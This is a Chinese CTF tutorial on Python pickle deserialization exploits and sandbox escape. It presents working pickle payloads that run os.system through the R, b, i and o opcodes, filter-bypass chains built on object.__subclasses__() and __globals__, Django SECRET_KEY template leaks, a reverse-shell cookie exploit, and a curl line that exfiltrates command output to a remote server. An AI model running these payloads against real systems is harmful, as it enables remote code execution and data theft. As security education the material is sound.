这篇文章发表于 1347 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
涉及两大知识点的大长文,请做好心理准备。
Python的pickle包可以用来进行序列化与反序列化,cPickle也是如此,但它是用C编码的,故运行效率更高。当然也有其他的序列化库比如Marshal
,PyYAML
,Jsonpickle
,Shelve
等等,但以下的内容主要是围绕pickle反序列化漏洞展开的。但由于例子中还用到了沙箱逃逸,为了更好地形成知识体系,后面部分将额外介绍沙箱逃逸的内容。
pickle反序列化漏洞原理
在该类赛题中,常用的pickle模块为load(s)
,dump(s)
。一般来说常用的是loads
和dumps
,漏洞的触发一般是通过传参至loads
模块中,然后触发恶意用户希望执行的命令。
利用__reduce__构造payload
先来看看__reduce__
攻击方法的基本操作。下面的dumps
是序列化以生成字符串,而loads
是对字符串进行反序列化,精心构造过的字符串能够触发恶意指令。
1 | import pickle, pickletools, os |
其输出的payload也就是刚刚举例的那个。从下图来看,其中的ls -la
命令已经被执行了。
有一些题目是针对序列化所得的字符串中的内容下手的,比如对os.system
这样的内容设置黑名单等等,比如2018-XCTF-HITB-WEB : Python's-Revenge
,仅对于该部分的exp如下:
1 | import pickle, pickletools, platform |
仅仅是这样的黑名单过滤是没办法放心地防住这类攻击的。在官方文档中,官方推荐定制Unpickler.find_class()
函数来限制模块和其中的类,但即便必须在builtins
模块下执行也能够找到不少类似于沙箱逃逸的办法来完成攻击,甚至直接编写pickle
代码,这在后面会重点研究。
pickle.loads模块
接下来探讨pickle.loads
是如何触发漏洞的。这里需要阅读pickle.py
的源码,可以通过python -c "import pickle;print(pickle.__file__)"
找到,随后搜索loads
关键词,即可发现其内部调用的函数为_Unpickler
类中的load
函数。
进一步的搜索告诉我们,这里的_unframer
仅仅是为了读取即将进行反序列化的字符串内容。随即进行调试:
ps:这里使用pycharm调试很可能会发现无法进入到pickle.py文件中,这可能是debugger与封装之间的玄学问题。请将上文例子中的pickle.loads
更改为pickle._loads
!(感谢某位发现此问题的师傅)
其中的while循环是重点,这里的key就是挨个被读入的字符串(就以这个字符串为例b'\x80\x03cposix\nsystem\nX\x06\x00\x00\x00ls -la\x85R.'
)中的单个字符。
第一个字符是\x80
,那么根据pickle.py
在文件开头附近的定义(即OPCODE),我们可以知道接下来调用的是_Unpickler.load_proto
函数,也就是读取proto
协议的版本号,也就把\x03
读取了,说明其版本号是3(参数protocol是序列化模式,python2.x中默认值为0,python3.x中默认值为3,在python3.x的序列化在python2.x中加载需要保证protocol参数不超过3)……之后的字符c
、X
、\x85
的分析都是类似的,对部分OPCODE更加具体的分析会在后面提及。
其中R
需要特别说明下,这个是通过__reduce__
方法生成的,也就是CTF中以前比较常用的一种手段,它会跑到_Unpickler.load_reduce
函数中,它会取出ls -la
作为args,然后执行一个func(*args)
,从下图来看很明显,就是执行系统命令ls -la
。
最后的.
是作为终止的标记的,如果它不存在,会在最后阶段引发错误(但命令的执行先于错误)。
反序列化限制绕过
对攻击者而言,只将目光局限于命令限制的绕过其实并不是一件好事。以下主要是探讨两种情况,以及绕过的姿势。
绕过一、module必须是builtins
先介绍下builtins
(在Python2版本中为builtin
),它就是随着Python任何运行时候都会内置的模块,也就不需要import
,比如通常我们输入help
指令就是运行了__builtins__.help()
函数。而对于os
这类模块则不同于builtins
,因为它需要import
,比如os.system
,实际上在*nix系统下就是posix.system
。如果一个环境只允许执行使用builtins
模块中内置的函数,该环境就可以认为是反序列化沙盒(箱)。既然提到了,我就在后面额外详细描述下沙箱逃逸的基本操作。
以code-breaking 2018 picklecode的后半部分反序列化沙盒绕过为例,我们需要绕过下面这部分代码,这部分代码的写法是作者参考官方文档的:
1 | import pickle |
可见我们需要在builtins
包中提供的所有函数中选择一个能够命令执行的函数,而且不是blacklist
中的。查阅手册后可以发现,可以令name = "getattr"
,当它绕过黑名单后再利用它来getattr(builtins, "eval")
或者采用其他的内容。
看起来思路很简单,但是接下来就不得不面对手写pickle代码的挑战,因为上述的思路是先获取getattr
函数,再通过该函数获取eval
函数,最后利用eval
函数执行命令。而手写代码就要参考OPCODE。另外,最好设置protocol=0
以便于人工编写(Python会自动根据protocol
进行对应的运行,上文分析也提到了)。
手写pickle代码
这里先不急,从最基本的地方开始描述其编写方法。
1 | import pickle, pickletools, os |
运行以上程序,获得输出为以下内容。
1 | 0: c GLOBAL 'posix system' # 向栈顶压入`posix.system`这个可执行对象 |
显然,这里的memo是没有起到任何作用的。所以我们可以将这段代码进一步简化,去除存储memo的过程:
1 | import pickle, builtins # 这里建议导入builtins,否则在一些情况下会出现问题 |
发现可以运行并输出结果,很好。接着我们尝试编写绕过的代码。下面的注释中详细描述了整个过程,metastack
和stack
是_unframer
中的两个不同的list(调试过程中)。其中每个OPCODE的操作我都用分号隔开了。
1 | cbuiltins #设置builtins为可执行对象 |
以上所有内容相当于这样的一句Python命令:import builtins;dict.get(globals(),"builtins")
,也就是取得了builtins
对象。在此基础上,我们继续去获取eval
函数。
1 | cbuiltins |
由于之前仔细描述了类似的内容,这部分就不多赘述了,针对此题后半部分的exp如下:
1 | import pickle |
如果遇到需要不同pickle代码的情形,还可以参考这个项目或者干脆使用这个工具pker;提一句,使用pker生成和以上效果一致的payload是这样写的:
1 | getattr=GLOBAL('builtins','getattr') |
picklecode简明writeup
这道题还涉及到了其他的技巧,整体思路建议直接参看本人列出的参考文献。我在大哥们的基础上再补充一些前半部分可用的payload:{{request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY}}
,{{request.user.groups.source_field.opts.app_config.module.password_validation.settings.SECRET_KEY}}
,{{request.user.user_permissions.source_field.opts.app_config.module.settings.SECRET_KEY}}
,{{request.user.user_permissions.source_field.opts.app_config.module.password_validation.settings.SECRET_KEY}}
,以上这些都能够得到SECRET_KEY
,但是还有很多在实践中其实并不可行,个人认为很可能是因为程序在运行的时候并没有对这些变量初始化或者赋值,导致网页出现500错误或值为空,比如以下这些:
{{request.user.groups.model.user_set.field.opts.app_config.module.settings.SECRET_KEY}}
,{{request.user.groups.model.user_set.field.opts.app_config.module.password_validation.settings.SECRET_KEY}}
,{{request.user.groups.target_field.opts.model.user.field.opts.app_config.module.admin.settings.SECRET_KEY}}
,{{request.user.groups.source_field.opts.model.user.field.opts.app_config.module.admin.settings.SECRET_KEY}}
。
生成最终的payload可以使用如下的脚本(其中提到的evil.py就是一个反弹shell的Python脚本):
1 | from django.core import signing |
以下是感人的getshell时间。
绕过二、对R
指令设置黑名单
刚刚的绕过很精彩,但本质上依然是__reduuce__
办法的延伸。那么对R
指令设置黑名单,也就是不让用__reduce__
及其衍生方法的话,我们该怎么办呢?
巧包含全局变量实现绕过
一步步来,首先我们先试试看能否控制一些变量。比如在登录的时候能否直接绕过密码的输入。以下就是样题:
1 | import pickle, base64 |
构造的方法就写在下面:
1 | import pickle, pickletools, base64 |
若是已经了解了OPCODE的话基本上能够发现我们不过是利用c
将相关的内容改成了全局变量。如下图,左边部分是以上脚本直接运行后的结果,而右边部分就是修改后的内容。
这样就轻松实现了登录的绕过。
绕过module限制
依旧以刚刚出现的样题为例,但额外加上module只能为__main__
的限制。
c
指令(也就是GLOBAL指令)基于find_class
这个方法, 然而find_class
可以被出题人重写。如果出题人只允许c
指令包含__main__
这一个module(就没法进行类似于A.num这样的引入),这道题又该如何解决呢?
- 通过
__main__.A
引入这个module - 把一个dict压进栈中,其内容为{‘num’: 6, ‘passwd’: ‘123456’}
- 执行
b
指令,其作用是修改__dict__
中的内容,在__main__.A.num
和__main__.A.passwd
中的内容已经被修改了 - 将栈清空,也就是弹掉栈顶
- 照抄正常的B序列化之后的字符串,压入一个正常的B对象,num和passwd分别是6和’123456’,这样判断就能够通过了
可见payload的思路就是先修改了A中的变量值,随后以正常的格式传入(可被check函数通过的)内容。借助刚刚的图和先前得到的b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.'
,我们来对它进行一定的修改。
- 将
K\x01
改为K\x06
,将X\x03\x00\x00\x00qaq
改为X\x06\x00\x00\x00123456
,此时b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x06X\x06\x00\x00\x00passwdX\x06\x00\x00\x00123456ub.'
- 将开头的
\x80\x03c__main__\nB\n)
改为\x80\x03c__main__\nA\n}(Vnum\nK\x06Vpasswd\nV123456\nub0c__main__\nB\n)
,这里可以看到我们圧入了一个正常的对象,此时得到最终payload为b'\x80\x03c__main__\nA\n}(Vnum\nK\x06Vpasswd\nV123456\nub0c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x06X\x06\x00\x00\x00passwdX\x06\x00\x00\x00123456ub.'
我们来测试一下payload,python -c "import base64,pickletools;payload=pickletools.optimize(b'\x80\x03c__main__\nA\n}(Vnum\nK\x06Vpasswd\nV123456\nub0c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x06X\x06\x00\x00\x00passwdX\x06\x00\x00\x00123456ub.');print(str(base64.b64encode(payload), encoding='utf-8'))" | python check.py
。
可见内存中A的属性值已经被修改了,于是我们通过另一个手段实现了登录验证的绕过。
无R
指令下的命令执行
还是刚才的样题,但这次的要求并不是绕过登录限制,而是在不出现R
指令的情况下getshell。
如果您还记得的话,之前的R
指令触发的真正语句其实是func(*args)
,那么我们就继续在pickle.py
中寻找一些可用的语句。那什么样的是可用的呢?也就是*args
可控,func
可控或者就是类似于system,exec
这样的功能,可以以load_
为关键词进行搜索。这部分其实已经有人进行过总结了,可进行函数执行的操作码有R
,i
,o
,b
。我这里就直接对剩下三种方法进行说明。
操作码b
它对应的函数为load_build
。其在pickle.py中的内容如下:
1 | def load_build(self): |
如果inst
拥有__setstate__
方法,则把栈顶的state
交给__setstate__
方法来处理;否则就把state
中的部分或全部内容,合并到inst.__dict__
里面。因此,其利用方式就是用{'__setstate__': os.system}
来build对象A,然后用ls -la
再次进行构造,由于存在__setstate__
方法,此时state为ls -la
,所以成功执行os.system('ls -la')
。借助先前得到的b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.'
,我们来对它进行一定的修改。
- 对开头部分的内容进行修改,将
\x80\x03c__main__\nB\n)
改为\x80\x03c__main__\nA\n}(V__setstate__\ncos\nsystem\nubVls -la\nb0c__main__\nB\n)
,这样修改依旧是圧入了一个正常对象,得到最终的payload为b'\x80\x03c__main__\nA\n}(V__setstate__\ncos\nsystem\nubVls -la\nb0c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x06X\x06\x00\x00\x00passwdX\x06\x00\x00\x00123456ub.'
测试一下payload,python -c "import base64,pickletools;payload=pickletools.optimize(b'\x80\x03c__main__\nA\n}(V__setstate__\ncos\nsystem\nubVls -la\nb0c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x06X\x06\x00\x00\x00passwdX\x06\x00\x00\x00123456ub.');print(str(base64.b64encode(payload), encoding='utf-8'))" | python check.py
,发现它能够成功执行命令!剩下的只需要将ls -la
改为反弹shell的命令即可。
注意:其实python -c "import base64;payload=b'\x80\x03c__main__\nA\n}(V__setstate__\ncos\nsystem\nubVls -la\nb.)';print(str(base64.b64encode(payload), encoding='utf-8'))" | python check.py
也可以成功执行命令,但是会导致报错。建议将栈清空,并照抄正常的B序列化之后的字符串,压入一个正常的B对象,这也正是我一直保留后半段看似没用的代码的原因,之后不再赘述。
操作码i
其对应的主要代码如下:
1 | def pop_mark(self): |
首先通过find_class
获得方法,然后通过pop_mark
获得参数(弹出前序栈重新赋值给当前栈,而且获取当前栈上的内容),并调用_instantiate
函数来执行,并将执行的结果存入栈中。
借助先前得到的b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.'
,我们来对它进行一定的修改。
- 对开头部分的内容进行修改,将
\x80\x03c__main__\nB\n)
改成\x80\x03c__main__\nA\n}(Vls -laios\nsystem\n0c__main__\nB\n)
,这样修改依旧是圧入了一个正常对象,得到最终的payload为b'\x80\x03c__main__\nA\n}(Vls -laios\nsystem\n0c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.'
测试一下payload,python -c "import base64,pickletools;payload=pickletools.optimize(b'\x80\x03c__main__\nA\n}(X\x06\x00\x00\x00ls -laios\nsystem\n0c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.');print(str(base64.b64encode(payload), encoding='utf-8'))" | python check.py
,发现它能够成功执行命令!剩下的只需要将ls -la
改为反弹shell的命令即可。
操作码o
它和i
操作码关系密切,其对应的主要代码如下:
1 | def pop_mark(self): |
借助先前得到的b'\x80\x03c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.'
,我们来对它进行一定的修改,得到最终的payload为b'\x80\x03c__main__\nA\n}(cos\nsystem\nX\x06\x00\x00\x00ls -lao0c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.'
测试一下payload,python -c "import base64,pickletools;payload=pickletools.optimize(b'\x80\x03c__main__\nA\n}(cos\nsystem\nX\x06\x00\x00\x00ls -lao0c__main__\nB\n)\x81}(X\x03\x00\x00\x00numK\x01X\x06\x00\x00\x00passwdX\x03\x00\x00\x00qaqub.');print(str(base64.b64encode(payload), encoding='utf-8'))" | python check.py
,发现它能够成功执行命令!剩下的只需要将ls -la
改为反弹shell的命令即可。
其他-反序列化漏洞
其他模块的load也可以触发pickle反序列化漏洞。例如:numpy.load()
先尝试以numpy
自己的数据格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()
也可以触发pickle反序列化漏洞,这就是CVE-2019-6446
。其他的序列化库比如Marshal
,PyYAML
,Jsonpickle
,Shelve
等等的反序列化利用可参看参考文献中的第五个。
**GLOBAL指令也可以自动导入os.system
**。因此,不能认为“我不在代码里面导入os
库,pickle反序列化的时候就不能执行os.system
”。
即使没有回显,也可以很方便地调试恶意代码。只需要拥有一台公网服务器,对应端口开启监听,在测试环境中执行类似于os.system('curl your_server/$(ls / | base64))
就能看到回显结果,也可以使用dnslog等手段。
Python沙箱逃逸
沙箱逃逸就是突破原本受限的Python交互环境,实现执行命令、读写文件等操作。之前的绕过中已经体现一些思路了,这里是系统性的整理。
导入module
受限的交互环境意味着可用的函数较少且利用价值不高,因此第一步就是找到一些可利用的包并导入。
Python导入模块时,会先判断
sys.modules
是否已经加载了该模块,如果没有加载则从sys.path
中的目录按照模块名查找py
、pyc
、pyd
文件,找到后执行该文件载入内存并添加至sys.modules
中,再将模块名称导入Local命名空间。如果
a.py
中存在import b
,则在import a
时ab
两个模块都会添加至sys.modules
中,但仅将a
导入Local命名空间。通过
from x import y
时,则将x
添加至sys.modules
中,将y
导入Local命名空间。
以下以导入os
库为例(例举了部分花活),
1 | # sys.version |
花式命令执行
导入一些“危险”模块后,就需要想办法执行一些命令。从参考文献沙箱逃逸部分的第一篇中摘录以下手段:
1 | os.system('whoami') |
针对以上内容防御基本上只需要让import
不能用即可。但还是有些可以使用的,比如最后两个——因为getattr
函数是属于内建模块builtins
的,是不需要导入的。
受限的builtins
在 2.x 版本中,内建模块被命名为 __builtin__
,到了 3.x 就成了 builtins
。如若需要查看,必须先进行import
。另外,__builtins__
各个版本都有,三者存在小区别,但之后我们默认考虑比较好用的__builtins__
模块。为保证安全,builtins
中的“危险”函数一般会被禁用。
1 | del __builtins__.__dict__['__import__'] |
遇到这种情况该这么办呢?
利用继承关系逃逸
先介绍几个之后会用到的、Python为部分对象类型所添加的特殊的只读属性(其中有些甚至不会被dir()
函数直接列出)。
__class__
返回一个实例所属的类(相当于type()
),子实例找父实例;
__bases__
返回由类对象的基类所组成的元组(多层继承都会被返回),子类找父类;
__mro__
返回由类组成的元组(获取MRO方法解析顺序),子类找父类;
mro()
此方法可被一个元类来重载,以为其实例定制方法解析顺序,会在类实例化时被调用,其结果存储于__mro__
之中;
__subclasses__
该属性是一个方法,__subclasses__()
返回的是一个列表(当前环境中所有继承于该对象的对象),父类找子类。
用file对象读取敏感文件
以上特殊属性其实是有办法列出的,使用dir("".__class__.__class__)
或者dir(type("".__class__))
即可——强烈推荐这位大哥的理解。这里再整理下他的思考内容。
1 | # 以下均属Python2环境。 获得一个字符串实例 |
这些内容已经非常好得阐述了Python2中利用<type 'file'>
实现的攻击,但由于Python3缺少<type 'file'>
,因此它有很大局限性。
用内置模块执行命令
再介绍一个属性__globals__
:返回一个当前空间下能使用的模块、方法和变量的字典,用法{函数名}.__globals__
。于是利用继承关系和__globals__
,我们很可能能够找到更加好用的payload。
1 | #coding:utf-8 |
不过很可惜上述的方法也只能在Python2环境中找到上面两个payload,Python3一个都没有。这时你应该已经想到我们可以挨个尝试其他模块,有没有什么模块各个Python版本都有而且可以很方便使用的呢?有的,就是前面的主角__builtins__
。把search = 'os'
改成search = '__builtins__'
,直接起飞,下面举个例子。
1 | <class '_frozen_importlib._ModuleLock'> 75 |
遍历payload
这里的内容相当于对上面两小块内容的总结与延伸。感谢hosch3n大哥直接造了轮子,这里帮他保存一份。
在整个构造过程中,他把思路分为以下四条:
思路一:如果
object
的某个派生类中存在危险方法,就可以直接拿来用1
2
3
4
5
6# Python3
object.__subclasses__()[37].__call__(eval, "__import__('os').system('whoami')")
# Python2
object.__subclasses__()[29].__call__(eval, "__import__('os').system('whoami')")
object.__subclasses__()[40]('.bash_history').read()思路二:如果
object
的某个派生类导入了危险模块,就可以链式调用危险方法1
2
3
4
5
6
7
8
9# Python3
object.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].system('whoami')
# Python2
object.__subclasses__()[59].__init__.__globals__['sys'].modules['os'].system('whoami')
# Python3
object.__subclasses__()[134].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')
# Python2
object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')思路三:如果
object
的某个派生类由于导入了某些标准库模块,从而间接导入了危险模块的危险方法,也可以通过链式调用1
2
3
4
5
6
7
8
9# Python3
object.__subclasses__()[170].__init__.__globals__['_collections_abc'].__dict__['sys'].modules['os'].system('whoami')
# Python2
object.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('whoami')
# Python3
object.__subclasses__()[134]()._module.__builtins__['__import__']('os').system('whoami')
# Python2
object.__subclasses__()[59]()._module.__builtins__['__import__']('os').system('whoami')思路四:基本类型的某些方法属于特殊方法,可以通过链式调用
1
[].append.__class__.__call__(eval, "__import__('os').system('whoami')")
其实还有利用函数本身特点构造出来的payload,但是构造的基本思路都是一致的。
1 | [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami') |
做题的时候我们往往需要考虑到站点所用的环境,否则常常会引起报错。在有回显的情况下,我们可以使用如下的脚本来找出一些模块相对应的序号(题目是[CSCCTF 2019 Qual]FlaskLight
):
1 | import requests |
绕过姿势
CTF传统艺能上线,一起来看看有哪些有趣的姿势。
关键词过滤
1 | # 拼接 |
中括号过滤
1 | # [].__class__.__bases__[0].__subclasses__()[37] |
点号过滤
1 | getattr(getattr(getattr(getattr(getattr((),'__class__'),'__bases__'),'__getitem__')(0),'__subclasses__')(),'pop')(37) |
下划线过滤
1 | # _可以用dir(0)[0][0]代替 |
下划线、引号、中括号同时过滤
想法来自于这篇文章。
1 | # 这个曾出现在SSTI中 |
更多
这里再提供三篇相当不错的文章链接,里面有一些奇怪的姿势可供学习。
https://wiki.wgpsec.org/knowledge/ctf/SSTI.html
https://lazzzaro.github.io/2020/05/15/web-SSTI/index.html
https://www.secpulse.com/archives/140019.html
其他-关于沙箱逃逸
PEP498引入了f-string
,在Python3.6开始出现。利用方式如下:
1 | f'{__import__("os").system("whoami")}' |
在赛题中一般是需要结合SSTI漏洞来进行考察的,因此除了需要了解沙箱逃逸之外,还要熟悉常用模板的用法。
参考文献
反序列化部分:
https://christa.top/details/8/
https://www.ebounce.cn/web/47.html
https://zhuanlan.zhihu.com/p/89132768
https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html
https://www.v0n.top/2020/03/29/Python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://xz.aliyun.com/t/8342#toc-4
https://xz.aliyun.com/t/7436#toc-11
沙箱逃逸部分:
https://hosch3n.github.io/2020/08/27/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/
https://mp.weixin.qq.com/s/aWbs28W9_eIR2-EgCmPi-w
https://xuanxuanblingbling.github.io/ctf/web/2019/01/02/python/
https://www.smi1e.top/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/